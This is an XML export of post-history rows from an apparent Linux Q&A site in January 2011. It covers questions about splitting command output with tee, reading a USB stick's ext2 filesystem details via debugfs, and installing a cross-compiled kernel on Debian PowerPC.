  <row Id="12766" PostHistoryTypeId="4" PostId="5676" RevisionGUID="1e5ee4bd-f425-416e-8bf1-1bf63ef7ea42" CreationDate="2011-01-11T10:38:58.753" UserId="688" Comment="edited tags; edited title" Text="How to install Flash player plugin on Fedora?" />
  <row Id="12767" PostHistoryTypeId="6" PostId="5676" RevisionGUID="1e5ee4bd-f425-416e-8bf1-1bf63ef7ea42" CreationDate="2011-01-11T10:38:58.753" UserId="688" Comment="edited tags; edited title" Text="éfedoraàéflashà" />
  <row Id="12768" PostHistoryTypeId="2" PostId="5677" RevisionGUID="c34605cf-83ac-413b-a8bc-a530a04a0e3e" CreationDate="2011-01-11T11:36:31.777" UserId="12" Text="I have a program `texcount` that outputs the number of words in my LaTeX document. I can also pipe the output of this to `sed` to make the newlines TeX linebreaks and write this to a file which I can then include in my final document. But when I do `texcount foo.tex | sed s/$/'\\\\'/ &gt; wc.tex` the command line output of `texcount` is suppressed.&#xD;&#xA;&#xD;&#xA;How can I get the output of the first command to be displayed in the terminal _and_ piped to sed?" />
  <row Id="12769" PostHistoryTypeId="1" PostId="5677" RevisionGUID="c34605cf-83ac-413b-a8bc-a530a04a0e3e" CreationDate="2011-01-11T11:36:31.777" UserId="12" Text="Doing two things with output from a command." />
  <row Id="12770" PostHistoryTypeId="3" PostId="5677" RevisionGUID="c34605cf-83ac-413b-a8bc-a530a04a0e3e" CreationDate="2011-01-11T11:36:31.777" UserId="12" Text="ébashà" />
  <row Id="12771" PostHistoryTypeId="2" PostId="5678" RevisionGUID="a50d4b8d-4676-42ee-b0b1-939cc18e6675" CreationDate="2011-01-11T11:38:52.040" UserId="3201" Text="You need the &quot;tee&quot; command, which allows you to split pipes.&#xD;&#xA;&#xD;&#xA;    texcount foo.tex | tee &gt;output.txt | sed s/$/'\\\\'/ &gt; wc.tex | cat output.txt&#xD;&#xA;&#xD;&#xA;This would leave you the additional output.txt file.&#xD;&#xA;Read this for more info: http://www.unixtutorial.org/2007/12/tee-replicate-standard-output/ &#xD;&#xA;You can also do &quot;man tee&quot;." />
  <row Id="12772" PostHistoryTypeId="2" PostId="5679" RevisionGUID="2eb3ce39-6ab0-47b8-8b22-2a24fb228812" CreationDate="2011-01-11T11:44:14.957" UserId="3201" Text="You could also use the indent functionality by typing `&gt;&gt;` which depending on your indent settings would use a tab character." />
  <row Id="12773" PostHistoryTypeId="2" PostId="5680" RevisionGUID="aa326937-340d-4cc0-82f3-07f4528cdb88" CreationDate="2011-01-11T11:46:09.197" UserId="2871" Text="I inserted an usb into my Fedora 11 PC.  &#xD;&#xA;Gave a `mount` command and the output was as shown below: &#xD;&#xA;&#xD;&#xA;    /dev/sdc1 on /media/8d079aad-038c-4667-9186-e21bed0928d5 type ext2 (rw,nosuid,nodev,uhelper=devkit)  &#xD;&#xA;&#xD;&#xA;Now i gave `debugfs /dev/sdc1` and the output is as shown below:  &#xD;&#xA;&#xD;&#xA;    [root@Android04 Android-STB-Source]# debugfs /dev/sdc1&#xD;&#xA;    debugfs 1.41.4 (27-Jan-2009)&#xD;&#xA;    debugfs:  stats&#xD;&#xA;    Filesystem volume name:   &lt;none&gt;&#xD;&#xA;    Last mounted on:          &lt;not available&gt;&#xD;&#xA;    Filesystem UUID:          8d079aad-038c-4667-9186-e21bed0928d5&#xD;&#xA;    Filesystem magic number:  0xEF53&#xD;&#xA;    Filesystem revision #:    1 (dynamic)&#xD;&#xA;    Filesystem features:      ext_attr resize_inode dir_index filetype sparse_super large_file&#xD;&#xA;    Filesystem flags:         signed_directory_hash &#xD;&#xA;    Default mount options:    (none)&#xD;&#xA;    Filesystem state:         not clean&#xD;&#xA;    Errors behavior:          Continue&#xD;&#xA;    Filesystem OS type:       Linux&#xD;&#xA;    Inode count:              981120&#xD;&#xA;    Block count:              3921916&#xD;&#xA;    Reserved block count:     196095&#xD;&#xA;    Free blocks:              3847778&#xD;&#xA;    Free inodes:              981101&#xD;&#xA;    First block:              0&#xD;&#xA;    Block size:               4096&#xD;&#xA;    Fragment size:            4096&#xD;&#xA;    Reserved GDT blocks:      957&#xD;&#xA;    Blocks per group:         32768&#xD;&#xA;    Fragments per group:      32768&#xD;&#xA;    Inodes per group:         8176&#xD;&#xA;    Inode blocks per group:   511&#xD;&#xA;    Filesystem created:       Thu Jan  6 19:14:41 2011&#xD;&#xA;    Last mount time:          Thu Jan  6 19:58:09 2011&#xD;&#xA;    Last write time:          Tue Jan 11 16:36:05 2011&#xD;&#xA;    Mount count:              10&#xD;&#xA;    Maximum mount count:      22&#xD;&#xA;    Last checked:             Thu Jan  6 19:14:41 2011&#xD;&#xA;    Check interval:           15552000 (6 months)&#xD;&#xA;    Next check after:         Tue Jul  5 19:14:41 2011&#xD;&#xA;    Reserved blocks uid:      0 (user root)&#xD;&#xA;    Reserved blocks gid:      0 (group root)&#xD;&#xA;    First inode:              11&#xD;&#xA;    Inode size:	          256&#xD;&#xA;    Required extra isize:     28&#xD;&#xA;    Desired extra isize:      28&#xD;&#xA;    Default directory hash:   half_md4&#xD;&#xA;    Directory Hash Seed:      df25de9d-4b30-4408-ab43-66f3176c4469&#xD;&#xA;    Directories:              4&#xD;&#xA;     Group  0: block bitmap at 959, inode bitmap at 960, inode table at 961&#xD;&#xA;               31290 free blocks, 8165 free inodes, 2 used directories&#xD;&#xA;     Group  1: block bitmap at 33727, inode bitmap at 33728, inode table at 33729&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  2: block bitmap at 65536, inode bitmap at 65537, inode table at 65538&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  3: block bitmap at 99263, inode bitmap at 99264, inode table at 99265&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  4: block bitmap at 131072, inode bitmap at 131073, inode table at 131074&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  5: block bitmap at 164799, inode bitmap at 164800, inode table at 164801&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  6: block bitmap at 196608, inode bitmap at 196609, inode table at 196610&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  7: block bitmap at 230335, inode bitmap at 230336, inode table at 230337&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  8: block bitmap at 262144, inode bitmap at 262145, inode table at 262146&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  9: block bitmap at 295871, inode bitmap at 295872, inode table at 295873&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 10: block bitmap at 327680, inode bitmap at 327681, inode table at 327682&#xD;&#xA;               29321 free blocks, 8173 free inodes, 1 used directory&#xD;&#xA;     Group 11: block bitmap at 360448, inode bitmap at 360449, inode table at 360450&#xD;&#xA;               32207 free blocks, 8171 free inodes, 1 used directory&#xD;&#xA;     Group 12: block bitmap at 393216, inode bitmap at 393217, inode table at 393218&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 13: block bitmap at 425984, inode bitmap at 425985, inode table at 425986&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 14: block bitmap at 458752, inode bitmap at 458753, inode table at 458754&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 15: block bitmap at 491520, inode bitmap at 491521, inode table at 491522&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 16: block bitmap at 524288, inode bitmap at 524289, inode table at 524290&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 17: block bitmap at 557056, inode bitmap at 557057, inode table at 557058&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 18: block bitmap at 589824, inode bitmap at 589825, inode table at 589826&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 19: block bitmap at 622592, inode bitmap at 622593, inode table at 622594&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 20: block bitmap at 655360, inode bitmap at 655361, inode table at 655362&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 21: block bitmap at 688128, inode bitmap at 688129, inode table at 688130&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 22: block bitmap at 720896, inode bitmap at 720897, inode table at 720898&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 23: block bitmap at 753664, inode bitmap at 753665, inode table at 753666&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 24: block bitmap at 786432, inode bitmap at 786433, inode table at 786434&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 25: block bitmap at 820159, inode bitmap at 820160, inode table at 820161&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 26: block bitmap at 851968, inode bitmap at 851969, inode table at 851970&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 27: block bitmap at 885695, inode bitmap at 885696, inode table at 885697&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 28: block bitmap at 917504, inode bitmap at 917505, inode table at 917506&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 29: block bitmap at 950272, inode bitmap at 950273, inode table at 950274&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 30: block bitmap at 983040, inode bitmap at 983041, inode table at 983042&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 31: block bitmap at 1015808, inode bitmap at 1015809, inode table at 1015810&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 32: block bitmap at 1048576, inode bitmap at 1048577, inode table at 1048578&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 33: block bitmap at 1081344, inode bitmap at 1081345, inode table at 1081346&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 34: block bitmap at 1114112, inode bitmap at 1114113, inode table at 1114114&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 35: block bitmap at 1146880, inode bitmap at 1146881, inode table at 1146882&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 36: block bitmap at 1179648, inode bitmap at 1179649, inode table at 1179650&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 37: block bitmap at 1212416, inode bitmap at 1212417, inode table at 1212418&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 38: block bitmap at 1245184, inode bitmap at 1245185, inode table at 1245186&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 39: block bitmap at 1277952, inode bitmap at 1277953, inode table at 1277954&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 40: block bitmap at 1310720, inode bitmap at 1310721, inode table at 1310722&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 41: block bitmap at 1343488, inode bitmap at 1343489, inode table at 1343490&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 42: block bitmap at 1376256, inode bitmap at 1376257, inode table at 1376258&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 43: block bitmap at 1409024, inode bitmap at 1409025, inode table at 1409026&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 44: block bitmap at 1441792, inode bitmap at 1441793, inode table at 1441794&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 45: block bitmap at 1474560, inode bitmap at 1474561, inode table at 1474562&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 46: block bitmap at 1507328, inode bitmap at 1507329, inode table at 1507330&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 47: block bitmap at 1540096, inode bitmap at 1540097, inode table at 1540098&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 48: block bitmap at 1572864, inode bitmap at 1572865, inode table at 1572866&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 49: block bitmap at 1606591, inode bitmap at 1606592, inode table at 1606593&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 50: block bitmap at 1638400, inode bitmap at 1638401, inode table at 1638402&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 51: block bitmap at 1671168, inode bitmap at 1671169, inode table at 1671170&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 52: block bitmap at 1703936, inode bitmap at 1703937, inode table at 1703938&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 53: block bitmap at 1736704, inode bitmap at 1736705, inode table at 1736706&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 54: block bitmap at 1769472, inode bitmap at 1769473, inode table at 1769474&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 55: block bitmap at 1802240, inode bitmap at 1802241, inode table at 1802242&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 56: block bitmap at 1835008, inode bitmap at 1835009, inode table at 1835010&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 57: block bitmap at 1867776, inode bitmap at 1867777, inode table at 1867778&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 58: block bitmap at 1900544, inode bitmap at 1900545, inode table at 1900546&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 59: block bitmap at 1933312, inode bitmap at 1933313, inode table at 1933314&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 60: block bitmap at 1966080, inode bitmap at 1966081, inode table at 1966082&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 61: block bitmap at 1998848, inode bitmap at 1998849, inode table at 1998850&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 62: block bitmap at 2031616, inode bitmap at 2031617, inode table at 2031618&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 63: block bitmap at 2064384, inode bitmap at 2064385, inode table at 2064386&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 64: block bitmap at 2097152, inode bitmap at 2097153, inode table at 2097154&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 65: block bitmap at 2129920, inode bitmap at 2129921, inode table at 2129922&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 66: block bitmap at 2162688, inode bitmap at 2162689, inode table at 2162690&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 67: block bitmap at 2195456, inode bitmap at 2195457, inode table at 2195458&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 68: block bitmap at 2228224, inode bitmap at 2228225, inode table at 2228226&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 69: block bitmap at 2260992, inode bitmap at 2260993, inode table at 2260994&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 70: block bitmap at 2293760, inode bitmap at 2293761, inode table at 2293762&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 71: block bitmap at 2326528, inode bitmap at 2326529, inode table at 2326530&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 72: block bitmap at 2359296, inode bitmap at 2359297, inode table at 2359298&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 73: block bitmap at 2392064, inode bitmap at 2392065, inode table at 2392066&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 74: block bitmap at 2424832, inode bitmap at 2424833, inode table at 2424834&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 75: block bitmap at 2457600, inode bitmap at 2457601, inode table at 2457602&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 76: block bitmap at 2490368, inode bitmap at 2490369, inode table at 2490370&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 77: block bitmap at 2523136, inode bitmap at 2523137, inode table at 2523138&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 78: block bitmap at 2555904, inode bitmap at 2555905, inode table at 2555906&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 79: block bitmap at 2588672, inode bitmap at 2588673, inode table at 2588674&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 80: block bitmap at 2621440, inode bitmap at 2621441, inode table at 2621442&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 81: block bitmap at 2655167, inode bitmap at 2655168, inode table at 2655169&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 82: block bitmap at 2686976, inode bitmap at 2686977, inode table at 2686978&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 83: block bitmap at 2719744, inode bitmap at 2719745, inode table at 2719746&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 84: block bitmap at 2752512, inode bitmap at 2752513, inode table at 2752514&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 85: block bitmap at 2785280, inode bitmap at 2785281, inode table at 2785282&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 86: block bitmap at 2818048, inode bitmap at 2818049, inode table at 2818050&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 87: block bitmap at 2850816, inode bitmap at 2850817, inode table at 2850818&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 88: block bitmap at 2883584, inode bitmap at 2883585, inode table at 2883586&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 89: block bitmap at 2916352, inode bitmap at 2916353, inode table at 2916354&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 90: block bitmap at 2949120, inode bitmap at 2949121, inode table at 2949122&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 91: block bitmap at 2981888, inode bitmap at 2981889, inode table at 2981890&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 92: block bitmap at 3014656, inode bitmap at 3014657, inode table at 3014658&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 93: block bitmap at 3047424, inode bitmap at 3047425, inode table at 3047426&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 94: block bitmap at 3080192, inode bitmap at 3080193, inode table at 3080194&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 95: block bitmap at 3112960, inode bitmap at 3112961, inode table at 3112962&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 96: block bitmap at 3145728, inode bitmap at 3145729, inode table at 3145730&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 97: block bitmap at 3178496, inode bitmap at 3178497, inode table at 3178498&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 98: block bitmap at 3211264, inode bitmap at 3211265, inode table at 3211266&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 99: block bitmap at 3244032, inode bitmap at 3244033, inode table at 3244034&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 100: block bitmap at 3276800, inode bitmap at 3276801, inode table at 3276802&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 101: block bitmap at 3309568, inode bitmap at 3309569, inode table at 3309570&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 102: block bitmap at 3342336, inode bitmap at 3342337, inode table at 3342338&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 103: block bitmap at 3375104, inode bitmap at 3375105, inode table at 3375106&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 104: block bitmap at 3407872, inode bitmap at 3407873, inode table at 3407874&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 105: block bitmap at 3440640, inode bitmap at 3440641, inode table at 3440642&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 106: block bitmap at 3473408, inode bitmap at 3473409, inode table at 3473410&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 107: block bitmap at 3506176, inode bitmap at 3506177, inode table at 3506178&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 108: block bitmap at 3538944, inode bitmap at 3538945, inode table at 3538946&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 109: block bitmap at 3571712, inode bitmap at 3571713, inode table at 3571714&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 110: block bitmap at 3604480, inode bitmap at 3604481, inode table at 3604482&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 111: block bitmap at 3637248, inode bitmap at 3637249, inode table at 3637250&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 112: block bitmap at 3670016, inode bitmap at 3670017, inode table at 3670018&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 113: block bitmap at 3702784, inode bitmap at 3702785, inode table at 3702786&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 114: block bitmap at 3735552, inode bitmap at 3735553, inode table at 3735554&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 115: block bitmap at 3768320, inode bitmap at 3768321, inode table at 3768322&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 116: block bitmap at 3801088, inode bitmap at 3801089, inode table at 3801090&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 117: block bitmap at 3833856, inode bitmap at 3833857, inode table at 3833858&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 118: block bitmap at 3866624, inode bitmap at 3866625, inode table at 3866626&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 119: block bitmap at 3899392, inode bitmap at 3899393, inode table at 3899394&#xD;&#xA;               22011 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;&#xD;&#xA;I would like to get the maximum info (info i can get from giving `lspci`) from this printed info. I would like to know how i can do that. &#xD;&#xA;&#xD;&#xA;What i have in my mind is like, I give a command :  &#xD;&#xA;&#xD;&#xA;    dd bs=&lt;some size&gt; skip=&lt;some size&gt; count=1 if=/dev/sdc1 | od -Ax -tx1z -v   &#xD;&#xA;&#xD;&#xA;And this shows the needed details. Basically i need to get the USB hardware details form the filesystem.&#xD;&#xA;&#xD;&#xA;Please suggest on this idea, or if you have some other idea for doing the same.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12774" PostHistoryTypeId="1" PostId="5680" RevisionGUID="aa326937-340d-4cc0-82f3-07f4528cdb88" CreationDate="2011-01-11T11:46:09.197" UserId="2871" Text="How to get the maximum info fro a USB by lokking athe debugfs output?" />
  <row Id="12775" PostHistoryTypeId="3" PostId="5680" RevisionGUID="aa326937-340d-4cc0-82f3-07f4528cdb88" CreationDate="2011-01-11T11:46:09.197" UserId="2871" Text="éusbàémountà" />
  <row Id="12776" PostHistoryTypeId="2" PostId="5681" RevisionGUID="aa986100-717f-4116-b5fc-5b5255066a11" CreationDate="2011-01-11T12:28:08.757" UserId="3158" Text="I compiled a new kernel image on x86 using cross compiler with these commands.  http://www.thebitsource.com/programming-software-development/how-to-install-debian-linux-on-an-embedded-system/&#xD;&#xA;&#xD;&#xA;    $ cp arch/powerpc/configs/sequoia_defconfig .config&#xD;&#xA;    $ make ARCH=powerpc menuconfig&#xD;&#xA;    $ make ARCH=powerpc CROSS_COMPILE=pwoerpc-405-linux-gnu- uImage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, I want to install this new image on a debian-powerpc. Debian-powerpc uses quik as the default bootloader. &#xD;&#xA;I tried: &#xD;&#xA;   &#xD;&#xA;1. Replacing the /boot/vmlinux inside the debian with generated vmlinux as well as uImage. But when I reboot the machine, it gives some error and doesn't start.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. I tried using make-kpkg tool to build it. Linux source code is inside kvm folder.&#xD;&#xA;&#xD;&#xA;    user@user:~/project/new_kvm/kvm$ make ARCH=powerpc menuconfig  &#xD;&#xA;    user@user:~/project/new_kvm/kvm$ cp arch/powerpc/configs/44x/sequoia_defconfig  ./.config&#xD;&#xA;    user@user:~/project/new_kvm/kvm$ make-kpkg --rootcmd=fakeroot --append-to-version=-kvm --arch=powerpc --cross-compile=powerpc-405-linux-gnu- kernel-image --initrd  &#xD;&#xA;&#xD;&#xA;It gives these errors:&#xD;&#xA;&#xD;&#xA;                CROSS_COMPILE=powerpc-405-linux-gnu- ARCH=powerpc modules_install&#xD;&#xA;    make[2]: Entering directory `/home/user/project/new_kvm/kvm'&#xD;&#xA;      INSTALL drivers/video/output.ko&#xD;&#xA;      DEPMOD  2.6.37-rc6-kvm-57974-gd95bfcd&#xD;&#xA;    make[2]: Leaving directory `/home/user/project/new_kvm/kvm'&#xD;&#xA;    find /home/user/project/new_kvm/kvm/debian/linux-image-2.6.37-rc6-kvm-57974-gd95bfcd/usr/lib/debug -type f -name \*.ko |                               \&#xD;&#xA;                  while read file; do                                                     \&#xD;&#xA;                    origfile=`echo $file | sed -e 's,/usr/lib/debug,,g'`;                   \&#xD;&#xA;                    echo objcopy --only-keep-debug   $file;                              \&#xD;&#xA;                    objcopy --only-keep-debug   $file;                                   \&#xD;&#xA;                    echo objcopy --add-gnu-debuglink=$file $origfile;                   \&#xD;&#xA;                    objcopy --add-gnu-debuglink=$file $origfile;                        \&#xD;&#xA;                 done&#xD;&#xA;    objcopy --only-keep-debug /home/user/project/new_kvm/kvm/debian/linux-image-2.6.37-rc6-kvm-57974-gd95bfcd/usr/lib/debug/lib/modules/2.6.37-rc6-kvm-57974-gd95bfcd/kernel/drivers/video/output.ko&#xD;&#xA;    objcopy: Unable to recognise the format of the input file `/home/user/project/new_kvm/kvm/debian/linux-image-2.6.37-rc6-kvm-57974-gd95bfcd/usr/lib/debug/lib/modules/2.6.37-rc6-kvm-57974-gd95bfcd/kernel/drivers/video/output.ko'&#xD;&#xA;    objcopy --add-gnu-debuglink=/home/user/project/new_kvm/kvm/debian/linux-image-2.6.37-rc6-kvm-57974-gd95bfcd/usr/lib/debug/lib/modules/2.6.37-rc6-kvm-57974-gd95bfcd/kernel/drivers/video/output.ko /home/user/project/new_kvm/kvm/debian/linux-image-2.6.37-rc6-kvm-57974-gd95bfcd/lib/modules/2.6.37-rc6-kvm-57974-gd95bfcd/kernel/drivers/video/output.ko&#xD;&#xA;    objcopy: Unable to recognise the format of the input file `/home/user/project/new_kvm/kvm/debian/linux-image-2.6.37-rc6-kvm-57974-gd95bfcd/lib/modules/2.6.37-rc6-kvm-57974-gd95bfcd/kernel/drivers/video/output.ko'&#xD;&#xA;    make[1]: *** [debian/stamp/install/linux-image-2.6.37-rc6-kvm-57974-gd95bfcd] Error 1&#xD;&#xA;    make[1]: Leaving directory `/home/user/project/new_kvm/kvm'&#xD;&#xA;    make: *** [kernel-image] Error 2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12777" PostHistoryTypeId="1" PostId="5681" RevisionGUID="aa986100-717f-4116-b5fc-5b5255066a11" CreationDate="2011-01-11T12:28:08.757" UserId="3158" Text="Install new kernel in debian powerpc" />
